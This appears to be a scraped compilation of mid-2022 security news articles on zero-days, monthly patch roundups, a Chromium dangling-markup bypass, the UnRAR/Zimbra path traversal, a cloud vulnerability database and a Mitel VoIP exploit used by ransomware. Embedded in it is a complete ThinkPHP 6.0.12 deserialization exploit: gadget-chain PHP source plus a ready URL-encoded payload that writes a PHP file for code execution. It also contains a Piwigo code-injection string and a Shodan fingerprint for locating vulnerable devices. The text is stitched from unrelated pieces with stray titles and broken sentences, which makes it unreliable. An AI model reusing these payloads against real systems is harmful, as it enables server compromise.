There were a record number of zero-day attacks last year, but some basic cyber-hygiene strategies can help keep your organization more safe.

Few security exploits are the source of more sleepless nights for security professionals than zero-day attacks. Just over Memorial Day weekend, researchers discovered a new vulnerability enabling hackers to achieve remote code execution within Microsoft Office. Dubbing the evolving threat the Follina exploit, researchers say all versions of Office are at risk. And because blue teams have no time to prepare or patch their systems to defend against these software vulnerabilities, crafty threat actors can take advantage, taking their time after they've accessed an organization's environment to observe and exfiltrate data while remaining completely unseen.

And though sophisticated threat actors and nations have exploited zero-days for nearly two decades, last year saw a historic rise in the number of vulnerabilities detected. Both Google and Mandiant tracked a record number of zero-days last year, with the caveat that more zero-days are being discovered because security companies are getting better at finding them — not necessarily because hackers are coming up with new vulnerabilities. Not all zero-days are created equal, though. Some require sophisticated and novel techniques, like the attack on SolarWinds, and others exploit simple vulnerabilities in commonly used programs like Windows. Thankfully, there's some basic cyber hygiene strategies that can keep your organization sufficiently prepared to mitigate zero-day exploits.

**How Do Zero-Days Work?**

Typically, what a zero-day will do is gain access to an environment through a vulnerability previously unseen, then it stealthily maps the environment and, when ready, launches the attack. This is far too late for an incident response team to prevent further damage. Staying alert for these slow-burn attacks requires an approach to security that prioritizes looking for certain techniques and behaviors that a hacker or known threat group may use, rather than scanning for specific pieces of malware. In other words, ensure that the technology your organization has is sufficient for protecting from the unknown. Many zero-days may never hit a hard drive, so pointing threat detection tools there could be fruitless.

While it might sound like a broken record, patching is integral to protection against exploits. As soon as a proof of concept (PoC) is made public on the Dark Web or more legitimate forums like GitHub, most vendors will develop a patch. Staying on top of guidance from industry organizations like (ISC)2 or federal authorities like the Cybersecurity and Infrastructure Security Agency is a good way to prioritize the exploits that are most relevant and most risky to your organization.

However, zero-day exploits are those that the vendor doesn't know exist, and therefore no patch is available. It's very difficult to defend against these without protections and detections that are broad enough to identify tactics, techniques, and procedures. In some cases, protection technologies can use behavioral detections to block certain activities, while in other cases, using detection technologies or human expertise in a security operations center is the only defense.

Above all, investing in the human element of security will place an organization in the best position to limit the financial and data losses zero-days can incur. By placing hands on keyboards and unlocking visibility into all aspects of an ecosystem, a security team can more readily detect hints that a zero-day might be targeted against them and deploy necessary patches. For example, if a robot you operate in the US randomly connects to a server in Ukraine without any other unusual behavior, it might signal that a zero-day has been leveraged. And while there may have been an initial access into your robot or environment through a zero-day, having a broad view of your IT security ecosystem, along with technologies like artificial intelligence, can alert an incident response team to create a patch for a vulnerability as soon as possible.

Thankfully, even though more zero-days are being discovered than ever before, they're still relatively rare in the world of cybersecurity. Up until the last several years, zero-day exploits were mostly identified and held closely by national governments, who wanted to save them to deploy whenever necessary. But the commercialization of hacking groups, including ransomware-as-a-service platforms, has created an ecosystem incentivizing the purchasing and selling of zero-days, often with the financial or technological resources of a nation-state in support.

With such capable attackers, virtually every business should be worried — from large companies that serve as final targets for hackers, to smaller companies that can serve as stepping stones in a sequence of attacks. The constant of security operations can detect and mitigate threat actors from lurking behind the scenes of an IT ecosystem through a zero-day exploit, no matter the origin. So, while patching is proper preparation, the investment in trained security professionals, in-house or outsourced, is the best defense against zero-days.

Zero-Days Aren't Going Away Anytime Soon & What Leaders Need to Know

EyesOfNetwork before 07-07-2021 has a Remote Code Execution vulnerability on the mail options configuration page. In the location of the "sendmail" application in the "cacti" configuration page (by default/usr/sbin/sendmail) it is possible to execute any command, which will be executed when we make a test of the configuration ("send test mail").

A vulnerability has been detected in the EyesOfNetwork solution.

This vulnerability allows an attacker to obtain a shell with root rights on an instance of EON without prior information or login.

A patch was released Thursday, July 1, then packaged and is now available on the EyesOfNetwork repositories. \[5.3\].

The patch is applied by executing the following command:

    yum update cacti0

CVE-2021-40643: EyesOfNetwork - Information system supervision solution

Plus: Google issues fixes for Android bugs, and Cisco, Citrix, SAP, WordPress, and more issue major patches for enterprise systems.

June has seen the release of multiple security updates, with important patches issued for the likes of Google's Chrome and Android as well as dozens of patches for Microsoft products, including fixes for a Windows zero-day vulnerability that attackers had already exploited. Apple updates were absent at the time of writing, but the month also included some major enterprise-focused patches for Citrix, SAP, and Cisco products.

Here’s what you need to know about the major patches released in the past month.

Microsoft

Microsoft’s Patch Tuesday release was pretty hefty in June, including fixes for 55 flaws in the tech giant’s products. This Patch Tuesday was particularly important because it addressed an already exploited remote code execution (RCE) issue in Windows dubbed Follina, which Microsoft has been aware of since at least May.

Tracked as CVE-2022-30190, Follina—which takes advantage of vulnerabilities in the Windows Support Diagnostic tool and can execute without the need to open a document—has already been used by multiple criminal groups and state-sponsored attackers.

Three of the vulnerabilities addressed in Patch Tuesday affecting Windows Server are RCE flaws and rated as critical. However, the patches seem to be breaking some VPN and RDP connections, so be careful.

Google Chrome

Google Chrome updates continue to come thick and fast. That’s no bad thing, as the world’s most popular browser is by default one of the biggest targets for hackers. In June, Google released Chrome 103 with patches for 14 vulnerabilities, some of which are serious.

Tracked as CVE-2022-2156, the biggest flaw is a use-after-free issue in Base reported by Google’s Project Zero bug-hunting team that could lead to arbitrary code execution, denial of service, or corruption of data. Worse, when chained with other vulnerabilities the flaw could lead to full system compromise.

Other issues patched in Chrome include vulnerabilities in Interest Groups, WebApp Provider, and a flaw in the V8 Javascript and WebAssembly engine.

Google Android

Of the multiple Android security issues Google patched in June, the most severe is a critical security vulnerability in the System component that could lead to remote code execution with no additional execution privileges needed, Google said in its Android Security Bulletin.

Google also released updates for its Pixel devices to patch issues in the Android Framework, Media Framework, and System Components.

Samsung users seem to have gotten lucky with Android updates of late, with the device maker rolling out its patches very quickly. The June security update is no different, reaching the Samsung Galaxy Tab S7 series, Galaxy S21 series, Galaxy S22 series, and the Galaxy Z Fold 2 straightaway.

Cisco

Software maker Cisco released a patch in June to fix a critical vulnerability in Cisco Secure Email and Web Manager and Cisco Email Security Appliance that could allow a remote attacker to bypass authentication and log in to the web management interface of an affected device.

The issue, tracked as CVE-2022-20798, could be exploited if an attacker enters something specific on the login page of the affected device, which would provide access to the web-based management interface, Cisco said.

Citrix

Citrix has issued a warning urging users to patch some major vulnerabilities that could let attackers reset admin passwords. The vulnerabilities in Citrix Application Delivery Management could result in corruption of the system by a remote, unauthenticated user, Citrix said in a security bulletin. “The impact of this can include the reset of the administrator password at the next device reboot, allowing an attacker with ssh access to connect with the default administrator credentials after the device has rebooted,” the company wrote.

Citrix recommends that traffic to the Citrix ADM’s IP address be segmented from standard network traffic. This diminishes the risk of exploitation, it said. However, the vendor also urged customers to install the updated versions of Citrix ADM server and Citrix ADM agent “as soon as possible.”

SAP

Software firm SAP has released 12 security patches as part of its June Patch Day, three of which are serious. The first listed by SAP relates to an update released on April 2018 Patch Day and applies to the browser control Google Chromium used by the firm’s business clients. Details of this vulnerability aren’t available, but it has a severity score of 10, so the patch should be applied straightaway.

Another major fix concerns an issue in the SAProuter proxy in NetWeaver and ABAP Platform, which could allow an attacker to execute SAProuter administration commands from a remote client. The third major patch fixes a privilege escalation bug in SAP PowerDesigner Proxy 16.7.

Splunk Enterprise

Splunk has released some out-of-band patches for its Enterprise product, fixing issues including a critical-rated vulnerability that could lead to arbitrary code execution.

Labeled CVE-2022-32158, the flaw could allow an adversary to compromise a Universal Forwarder endpoint and execute code on other endpoints connected to the deployment server. Thankfully, there’s no indication that the vulnerability has been used in any real-world attacks.

Ninja Forms WordPress Plug-In

Ninja Forms, a WordPress plug-in with over a million active installations, has patched a serious issue that’s probably being used by attackers in the wild. “We uncovered a code injection vulnerability that made it possible for unauthenticated attackers to call a limited number of methods in various Ninja Forms classes, including a method that unserialized user-supplied content, resulting in Object Injection,” security analysts at the WordPress Wordfence Threat Intelligence team said in an update.

This could allow attackers to execute arbitrary code or delete arbitrary files on sites where a separate POP chain was present, researchers said.

The flaw has been fully patched in versions 3.0.34.2, 3.1.10, 3.2.28, 3.3.21.4, 3.4.34.2, 3.5.8.4, and 3.6.11. WordPress appears to have performed a forced automatic update for the plug-in, so your site may already be using one of the patched versions.

Atlassian

Australian software company Atlassian has released a patch to fix a zero-day flaw that’s already being exploited by attackers. Tracked as CVE-2022-26134, the RCE vulnerability in the Confluence Server and Data Center can be used to backdoor internet-exposed servers.

GitLab

GitLab has issued patches for versions 15.0.1, 14.10.4, and 14.9.5 for GitLab Community Edition and Enterprise Edition. The updates contain important security fixes for eight vulnerabilities, one of which could allow for account takeover.

With this in mind, the firm “strongly recommends” that all GitLab installations be upgraded to the latest version “as soon as possible.” GitLab.com is already running the patched version.

You Need to Update Windows and Chrome Right Now

Fixed bug could allow attackers to extract sensitive information

Ben Dickson 30 June 2022 at 10:20 UTC

Fixed bug could allow attackers to extract sensitive information

  

A recently-patched security hole in Chromium browsers allowed attackers to bypass safeguards against dangling markup injection’, an attack that extracts sensitive information from webpages.

While dangling markup injection is well-known and -addressed in Chromium browsers, the new attack took advantage of an unaddressed case in how the browser upgrades unsafe HTTP connections.

**Extracting sensitive markup**

Dangling markup injection captures data cross-domain in situations where full cross-site scripting (XSS) attacks aren’t possible.

If an application doesn’t sanitize user-supplied data before integrating it into the markup, an attacker can take advantage to force the page to send some of the page’s markup to their own server.

For example, the attacker can inject HTML markup that includes a specially crafted element that invokes a resource on the attacker’s server and sends HTML markup on the page as the query string to the server.

The Chromium team has been patching dangling markup injection bugs since 2017 and has added restrictions to escape or remove HTML markup inserted into URL strings.

**Safe connection, unsafe markup**

Chromium also has another security feature that upgrades unsafe HTTP protocols used in the HTML markup.

For example, if the src attribute of an tag refers to an HTTP address, the browser automatically upgrades it to HTTPS to enforce encrypted connections.

SeungJu Oh, the security researcher who reported the new bug, discovered that when the browser upgrades an in-page URL from HTTP to HTTPS, it bypasses the dangling markup injection safeguards.

As a result, if an attacker provides a dangling markup injection string that uses the HTTP scheme, it will not go through the dangling markup injection sanitization process when the URL is upgraded to HTTPS.

Oh provided a proof of concept with an tag, but also said that the same scheme works with audio, video, and possibly more tags.

“This allows attackers to get personal information by leaking the user’s content when \[the\] script is unavailable due to security elements such as CSP,” Oh writes.

According to the conversation thread in the Chromium bug report platform, the function that switches the URL protocol to HTTPS causes the dangling markup flag to become false, which in turn bypasses the security checks on the URL string. The bug has been patched in the new version of Chromium-based browsers.

The findings further highlight the necessity to sanitize user input before integrating it into the markup.

It is also a reminder of the complexities of managing the security of products that have many moving parts.

Sometimes, a security fix in one part of the program can break the safeguards in another, as Chromium’s latest dangling markup injection vulnerability shows.

YOU MAY ALSO LIKE UnRAR path traversal flaw can lead to RCE in Zimbra

Chromium browsers vulnerable to dangling markup injection

Other applications using binary to extract untrusted archives are potentially vulnerable too

Other applications using binary to extract untrusted archives are potentially vulnerable too

A path traversal vulnerability in RarLab’s UnRAR binary can lead to remote code execution (RCE) on business email platform Zimbra and can potentially affect other software.

The UnRAR utility is used to extract RAR archives to a temporary directory for virus-scanning and spam-checking purposes.

However, a recently patched file-write flaw (CVE-2022-30333) means an unauthenticated attacker can “create files outside of the target extraction directory when an application or victim user extracts an untrusted archive”, according to a blog post published by Simon Scannell, vulnerability researcher at Swiss security firm Sonar (formerly SonarSource).

Catch up with the latest security research news

If malicious hackers manage to write to a known location, continued Scannell, they could potentially execute arbitrary commands on the system.

Successful exploitation of the high severity (CVSS 7.5) issue on Zimbra, an open source platform used by more than 200,000 businesses, “gives an attacker access to every single email sent and received on a compromised email server”.

They can also silently backdoor login functionalities and steal users’ credentials, as well as escalate access to an organization’s other internal services, warned Scannell.

**Symlink protection bypass**

The flaw resides in UnRAR’s mechanism for preventing symbolic link (symlink) attacks on Unix systems, whereby the function for validating relative symlinks, ,checks if the symlink target contains on Unix or on Windows.

This check can, however, be negated due to the fact that untrusted input is sometimes modified after it has been validated, which breaks assumptions made during the validation step.

Specifically, once the symlink has been validated, UnRAR converts backslashes (\\) to forward slashes (/) with to ensure that a RAR archive created on Windows can be extracted on a Unix system.

“By exploiting this behavior, an attacker can write a file anywhere on the target filesystem,” said Scannell.

**RCE on Zimbra**

Since the Amavis content filter used by Zimbra to analyze extracted files operates as the Zimbra user, added Scannell, the file-write primitive allows the creation and overwriting of files in other services’ working directories too.

The researcher detailed how an attacker could achieve RCE on Zimbra by writing a JSP shell to the web directory, using a file-based command injection, or creating an SSH key.

Sonar notified RarLab of the flaw on May 4, 2022, and a security patch was included with version 6.12 binaries, which were released on May 6.

Zimbr developer Synacor was also warned about the flaw on May 4 so it could warn users to patch their cloud instances.

A blog post detailing the technicalities was published yesterday (June 28).

Only Unix binaries – excluding Android – and implementations using RarLab’s code are affected.

Scannell thanked RarLab’s developers for “their very fast and professional handling of this issue”, and shouted out Zimbra’s security team for “warning their customers to help prevent exploitation”.

Zimbra is something of a specialty for Sonar, whose researchers have in the last 12 months discovered a bug chain leading to full Zimbra server compromise, an XSS flaw that powered spear phishing campaigns, and, only two weeks ago, a memcached injection vulnerability that imperilled login credentials.

RELATED Business email platform Zimbra patches memcached injection flaw that imperils user credentials

UnRAR path traversal flaw can lead to RCE in Zimbra

ThinkPHP v6.0.12 was discovered to contain a deserialization vulnerability via the component vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php. This vulnerability allows attackers to execute arbitrary code via a crafted payload.

**ThinkPHP RCE链子**

**Environment installation**  
test version:Thinkphp6.0.12  
Environment configuration：(tp6只支持用composer安装)  
composer create-project topthink/think=6.0.12 tp612  
Add deserialization entry point

<?php

namespace app\\controller;

  

use app\\BaseController;

use think\\facade\\Request;

class Index extends BaseController

{

    public function index()

    {

        $payload\=Request::post('cmd');

        unserialize($payload);

    }

  

    public function hello($name = 'ThinkPHP6')

    {

        return 'hello,' . $name;

    }

}

    direct interview
    http://127.0.0.1 
    post to send package
    

cmd=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A15%3A%22think%5Croute%5CUrl%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A2%3A%22a%3A%22%3Bs%3A9%3A%22%00%2A%00domain%22%3Bs%3A27%3A%22%3C%3Fphp+phpinfo%28%29%3B+exit%28%29%3B+%3F%3E%22%3Bs%3A6%3A%22%00%2A%00app%22%3BO%3A16%3A%22think%5CMiddleware%22%3A1%3A%7Bs%3A7%3A%22request%22%3Bi%3A2333%3B%7Ds%3A8%3A%22%00%2A%00route%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22getDomainBind%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A21%3A%22League%5CFlysystem%5CFile%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00path%22%3Bs%3A10%3A%22huahua.php%22%3Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A25%3A%22think%5Csession%5Cdriver%5CFile%22%3A0%3A%7B%7D%7D%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22huahua%22%3B%7D%7D

accesssess_huahua.php  
successfully RCE

exp

<?php  
namespace think\\model\\concern{  
    trait Attribute{  
        private $data = \['huahua'\]; 
    }  
}  
  
namespace think\\view\\driver{  
    class Php{}  
}
namespace think\\session\\driver{
    class File{

    }
}
namespace League\\Flysystem{
    class File{
        protected $path;
        protected $filesystem;
        public function \_\_construct($File){
            $this\->path\='huahua.php';
            $this\->filesystem\=$File;
        }
    }
}
namespace think\\console{
    use League\\Flysystem\\File;
    class Output{
        protected $styles\=\[\];
        private $handle;
        public function \_\_construct($File){
            $this\->styles\[\]='getDomainBind';
            $this\->handle\=new File($File);
        }
    }
}  
namespace think{  
    abstract class Model{  
        use model\\concern\\Attribute;  
        private $lazySave;  
        protected $withEvent;  
        protected $table;  
        function \_\_construct($cmd,$File){  
            $this\->lazySave = true;  
            $this\->withEvent = false;  
            $this\->table = new route\\Url(new Middleware,new console\\Output($File),$cmd);  
        }  
    }  
    class Middleware{  
        public $request = 2333;  
    }   
}  
  
namespace think\\model{  
    use think\\Model;  
    class Pivot extends Model{}   
}  
  
namespace think\\route{  
    class Url  
    {  
        protected $url = 'a:';  
        protected $domain;  
        protected $app;  
        protected $route;  
        function \_\_construct($app,$route,$cmd){  
            $this\->domain = $cmd;  
            $this\->app = $app;  
            $this\->route = $route;  
        }  
    }  
}  
  
namespace{  
    echo urlencode(serialize(new think\\Model\\Pivot('<?php phpinfo(); exit(); ?>',new think\\session\\driver\\File)));  
}

CVE-2022-33107: ThinkPHP 6.0.12 Unserialize RCE · Issue #2717 · top-think/framework

A new security vulnerability has been disclosed in RARlab's UnRAR utility that, if successfully exploited, could permit a remote attacker to execute arbitrary code on a system that relies on the binary.
The flaw, assigned the identifier CVE-2022-30333, relates to a path traversal vulnerability in the Unix versions of UnRAR that can be triggered upon extracting a maliciously crafted RAR archive.

A new security vulnerability has been disclosed in RARlab's UnRAR utility that, if successfully exploited, could permit a remote attacker to execute arbitrary code on a system that relies on the binary.

The flaw, assigned the identifier CVE-2022-30333, relates to a path traversal vulnerability in the Unix versions of UnRAR that can be triggered upon extracting a maliciously crafted RAR archive.

Following responsible disclosure on May 4, 2022, the shortcoming was addressed by RarLab as part of version 6.12 released on May 6. Other versions of the software, including those for Windows and Android operating systems, are not impacted.

"An attacker is able to create files outside of the target extraction directory when an application or victim user extracts an untrusted archive," SonarSource researcher Simon Scannell said in a Tuesday report. "If they can write to a known location, they are likely to be able to leverage it in a way leading to the execution of arbitrary commands on the system."

It's worth pointing out that any software that utilizes an unpatched version of UnRAR to extract untrusted archives is affected by the flaw.

This also includes Zimbra collaboration suite, wherein the vulnerability could lead to pre-authenticated remote code execution on a vulnerable instance, giving the attacker complete access to an email server and even abuse it to access or overwrite other internal resources within the organization's network.

The vulnerability, at its heart, relates to a symbolic link attack in which a RAR archive is crafted such that it contains a symlink that's a mix of both forward slashes and backslashes (e.g., "..\\..\\..\\tmp/shell") so as to bypass current checks and extract it outside of the expected directory.

More specifically, the weakness has to do with a function that's designed to convert backslashes ('\\') to forward slashes ('/') so that a RAR archive created on Windows can be extracted on a Unix system, effectively altering the aforementioned symlink to "../../../tmp/shell."

By taking advantage of this behavior, an attacker can write arbitrary files anywhere on the target filesystem, including creating a JSP shell in Zimbra's web directory and execute malicious commands.

"The only requirement for this attack is that UnRAR is installed on the server, which is expected as it is required for RAR archive virus-scanning and spam-checking," Scannell noted.

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New UnRAR Vulnerability Could Let Attackers Hack Zimbra Webmail Servers

piwigo 11.5.0 is affected by a remote code execution (RCE) vulnerability in the LocalFiles Editor.

**Piwigo has a background command execution vulnerability**

Command injection vulnerability trigger point

Use admin to enter the background

Click settings to come to this page

Write in it

<?phpvar\_dump(1);}if(1){system('calc');?>

Next breakpoint single step debugging

You will find that this sentence is implemented here

**code analysis**

Text is passed in $content without filtering_ File and then pass in the function

The incoming code is spliced here. Caused code execution

CVE-2021-40553: vuln/README.md at main · Yang9999999/vuln

Researchers have created a new community website for reporting and tracking security issues in cloud platforms and services — plus fixes for them where available.

Organizations traditionally have struggled to track vulnerabilities in public cloud platforms and services because of the lack of a common vulnerability enumeration (CVE) program like the one that MITRE maintains for publicly disclosed software security issues.

A new community-based database launched this week seeks to begin addressing that issue by providing a central repository of information on known cloud service-provider security issues and the steps organizations can take to mitigate them.

The database — cloudvulndb.org — is the brainchild of security researchers at Wiz, who for some time have been advocating the need for a public catalog of known security flaws on platforms and services run by the likes of AWS, Microsoft, and Google. The database currently lists some 70 cloud security issues and vulnerabilities that security researcher Scott Piper had previously compiled in a document on GitHub titled "Cloud Service Provider security mistakes." Going forward, anyone is free to suggest new issues to add to the website or to suggest new fixes to existing issues. The goal is to list issues that a cloud service provider might have already addressed.

**Centralized Vulnerability Repository**

"The centralized database can help organizations review all past security issues in their \[cloud service provider\] at any time and check if they have not applied necessary remediation actions," says Alon Schindel, director of data and threat research at Wiz. "For example, organizations can check if they were using a certain service during a critical security issue’s exploitability period and use the recommended detection methods — if available — to check if they were affected."

For now, the vulnerability database site does not have a system in place to automatically notify users when new security issues are added to it. But the goal is to add an RSS feed or mailing list for that purpose, says Schindel, one of the maintainers of the new database.

Schindel — like many other researchers — has noted how the lack of a formal and standardized system for publicly recording cloud security issues, and sharing information about them, is heightening risks for organizations. In a blog last November, Schindel and another Wiz researcher pointed to vulnerabilities — such as one dubbed ChaosDB in Microsoft Azure and another called OMIGOD in Microsoft Azure — as specific reasons why a cloud vulnerability database has become a critical industry necessity. Both vulnerabilities were serious. And unlike many cloud vulnerabilities, the responsibility for mitigating risk with both vulnerabilities rested not just with the cloud provider but also with their customers.

ChaosDB impacted four Azure services and gave users overly permissive access to storage buckets belonging to other cloud tenants. OMIGOD was a set of four flaws in OMI, a Microsoft cloud middleware technology, that enabled remote code execution and privilege escalation. Though Azure and Microsoft addressed the vulnerabilities promptly, many organizations using the affected services had limited information on the changes they needed to make to address them, the Wiz researchers said.

"Typically, cloud service provider security issues do not have a patch in the traditional sense, as issues are fixed internally by the CSP without the need for any manual user action," Schindel says. But no CVEs mean that there are no industry conventions for assessing severity, no proper notification channels, and no unified tracking mechanisms. 

"This means that it’s difficult for a cloud customer to answer otherwise simple questions like, 'Is my environment currently vulnerable to this?' or, 'Was it ever vulnerable to this?'" he adds.

**Inconsistent Practices**

Currently all major CSPs accept responsibly disclosed vulnerabilities, and some have an official bug bounty or vulnerability reward program in place. Occasionally, a cloud service provider might even publish details of a fix they might have developed for a reported security vulnerability. However, there is little consistency among the various providers, Schindel says. 

"Notification channels vary; vendors usually email affected customers only or send them a notification through a service health system," he says.

Wiz has been unable to find any consistency in the publication cadence of security issues of the different CSPs, though Microsoft usually included fixes for Azure vulnerability in its monthly patch release cycle.

Wiz will maintain the new site, though anyone is free to contribute to it. The goal is to try and get major CSPs to engage with the effort or to use the site to provide more transparency around vulnerabilities discovered in their services. This can include information such as indicating the time periods during which a security issue might have been exploitable. 

"We also hope that the value of such a database will help CSPs standardize their security issues publication processes," he says.

New Vulnerability Database Catalogs Cloud Security Issues

Researchers warn threat actors are using a novel remote code execution exploit to gain initial access to victim’s environments.

Researchers warn threat actors are using a novel remote code execution exploit to gain initial access to victim’s environments.

Ransomware groups are abusing unpatched versions of a Linux-based Mitel VoIP (Voice over Internet Protocol) application and using it as a springboard plant malware on targeted systems. The critical remote code execution (RCE) flaw, tracked as CVE-2022-29499, was first report by Crowdstrike in April as a zero-day vulnerability and is now patched.

Mitel is popularly known for providing business phone systems and unified communication as a service (UCaaS) to all forms of organizations. The Mitel focuses on VoIP technology allowing users to make phone calls using an internet connection instead of regular telephone lines.

According to Crowdstrike, the vulnerability affects the Mitel MiVoice appliances SA 100, SA 400 and Virtual SA. The MiVoice provides a simple interface to bring all communications and tools together.

****Bug Exploited to Plant Ransomware**  **

Researcher at Crowdstrike recently investigated a suspected ransomware attack. The team of researchers handled the intrusion quickly, but believe the involvement of the vulnerability (CVE-2022-29499) in the ransomware strike.

The Crowdstrike identifies the origin of malicious activity linked to an IP address associated with a Linux-based Mitel VoIP appliance. Further analysis led to the discovery of a novel remote code exploit.

“The device was taken offline and imaged for further analysis, leading to the discovery of a novel remote code execution exploit used by the threat actor to gain initial access to the environment,” Patrick Bennet wrote in a blog post.

The exploit involves two GET requests. The first one targets a “get\_url” parameter of a PHP file and the second one originates from the device itself.

“This first request was necessary because the actual vulnerable URL was restricted from receiving requests from external IP addresses,” the researcher explained.

The second request executes the command injection by performing an HTTP GET request to the attacker-controlled infrastructure and runs the stored command on the attacker’s server.

According to the researchers, the adversary uses the flaw to create an SSL-enabled reverse shell via the “mkfifo” command and “openssl\_client” to send outbound requests from the compromised network. The “mkfifo” command is used to create a special file specified by the file parameter and can be opened by multiple processes for reading or writing purposes.

Once the reverse shell was established, the attacker created a web shell named “pdf\_import.php”. The original content of the web shell was not recovered but the researchers identifies a log file that includes a POST request to the same IP address that the exploit originated from. The adversary also downloaded a tunneling tool called “Chisel” onto VoIP appliances to pivot further into the network without getting detected.

The Crowdstrike also identifies anti-forensic techniques performed by the threat actors to conceal the activity.

“Although the threat actor deleted all files from the VoIP device’s filesystem, CrowdStrike was able to recover forensic data from the device. This included the initial undocumented exploit used to compromise the device, the tools subsequently downloaded by the threat actor to the device, and even evidence of specific anti-forensic measures taken by the threat actor,” said Bennett.

Mitel released a security advisory on April 19, 2022, for MiVoice Connect versions 19.2 SP3 and earlier. While no official patch has been released yet.

****Vulnerable Mitel Devices on Shodan****

The security researcher Kevin Beaumont shared a string “http.html\_hash:-1971546278” to search for vulnerable Mitel devices on the Shodan search engine in a Twitter thread.

According to Kevin, there are approximately 21,000 publicly accessible Mitel appliances worldwide, the majority of which are located in the United States, succeeded by the United Kingdom.

****Mitel Mitigation Recommendations** **

Crowdstrike recommends that organizations tighten defense mechanisms by performing threat modeling and identifying malicious activity. The researcher also advised segregating the critical assets and perimeter devices to restrict the access control in case perimeter devices are compromised.

“Timely patching is critical to protect perimeter devices. However, when threat actors exploit an undocumented vulnerability, timely patching becomes irrelevant,” Bennett explained.

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